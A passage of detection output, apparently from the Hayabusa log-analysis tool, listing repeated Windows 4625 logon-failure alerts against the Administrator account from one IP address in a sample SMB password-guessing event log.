NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UtcHAxmfDL9C9uZa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TX62kMSJqq0Lv8o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hA20OdabfW5DMphV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ex5Awm2zaVhvAMTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I72BOMPQHyyP374g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4al5pUa4mKfbL734 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UNHH8ESWZ4Rx6K93 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ay3XdxRFXXaD4Ib : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1PgyG7spUL5glkVh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6D6PVnrIODwtcIXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:41.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cRZgqmQbL3l7KTke : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HYGKv2l0s9XZnqkl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wX2R08dxiEcRNzcM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HcN791fdSHwaWuBC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CRObbkQsykQma2Tn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.194 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v4UvU7VglbA2p0Z9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ODkwHD0dwGaWhVH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5bPQ5GsX1UUXA6ws : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bvRQ0dVaLawXoo2O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BjxwDdOYBDDSJGun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: czlTDa1F6edSUBdy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mrtgv5HAqRuelEvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfny9Y4SGRZTUXi7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hdhoRgnyj4JPpN2j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K4Qclkpq5ZMKmdCB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0GdZSrcqmfGBfAVy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.655 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XA7eJrFopzOb3YQS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.689 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2XoSwawv7Ji26GQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 637CaCAc9u7z99X7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Y6Pww45qxQjrZ0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5CPU20SF5i6Cdq34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HAdaPDVTws6TObvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KUCoisntgbX7Mnis : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MFN0b769jRyDxyAW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:42.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HKr2OCyezvSEsHBZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.034 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QN3snXM4mwhauvvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.163 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1VpvQgnwXVxRY1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.233 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5bsnUZjpHrbD6kN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.286 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hpL2QnQ0kKqU40a6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rpkpNfeTsOeXEsJ0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5mBhuTFm02IjipEw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.443 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yZ908ZOCkSBC7tms : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8l7Bct5nMTZHd5mK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.522 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRk6e7SrInMDsdMV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhGByctTcM7NXGtB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BgzhW3Pd5JAB8j4f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.643 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GZOm1J5kdItrQpGL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DK77Hylw8CJHVGvb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pf7DQVQY7AowT8NY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.762 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4us3HR9jseQWIHt8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhJRmgooz8CXjB6E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LkjIXxAvEDrPFUpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ENc8aqouBangyUrU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7flMdluc8YRhOuzn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:43.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8WFqeMJIXGDjDP0a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.015 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iKeRDzfuDCJSv4Wh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gNEYkgBoG8rAE6SP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vyy1aBvh6lJBs5M5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.146 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyhiWNroUS5X5AEh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xg9rUUIwEfujwCvq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zfvpeyTKc3YYkVkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJGR6CYKLUJp2fWl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cmSap0AJZq0KMRBV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnVCbq1IYZF19oYR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aVaDMa2uNXTZNcBj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ymf6Fhv5ieWwcq73 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CT6YMlX1GqeEuAHl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FDJ1IFpMNQ2Euhyn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EGTzqnHJIiZdSgNk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: epSckAKbAp8qag89 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NNC8ilAuznKPwFvV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.834 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wObt647cIBPiVaZi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nYDe1L7NNxDGQ0Vt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mXroClxv7B0aCTYv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:44.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kCVah2QOH1hMSV76 : IP Address: 192.168.198.149 : AuthPackage: 